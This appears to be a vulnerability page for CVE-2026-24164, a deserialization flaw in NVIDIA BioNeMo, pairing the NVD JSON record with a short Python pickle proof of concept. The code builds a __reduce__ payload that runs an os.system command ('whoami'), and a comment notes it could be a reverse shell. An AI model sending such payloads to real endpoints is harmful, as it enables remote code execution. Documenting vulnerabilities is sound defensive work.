CVE-2026-24164

import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The payload to execute: e.g., creating a file or running a shell command # In a real attack, this could be a reverse shell return (os.system, ('whoami',)) # Serialize the malicious object malicious_data = pickle.dumps(MaliciousPayload()) print(f"Generated malicious payload length: {len(malicious_data)} bytes") # This payload would be sent to the vulnerable NVIDIA BioNeMo endpoint # causing the application to deserialize it and execute 'whoami'

{"cve": {"id": "CVE-2026-24164", "sourceIdentifier": "[email protected]", "published": "2026-03-31T17:16:30.937", "lastModified": "2026-04-03T19:00:49.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA BioNeMo contains a vulnerability where a user could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:bionemo_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-21", "matchCriteriaId": "90340610-6E7B-476C-9B62-089FCFF48E3A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24164", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5808", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24164", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}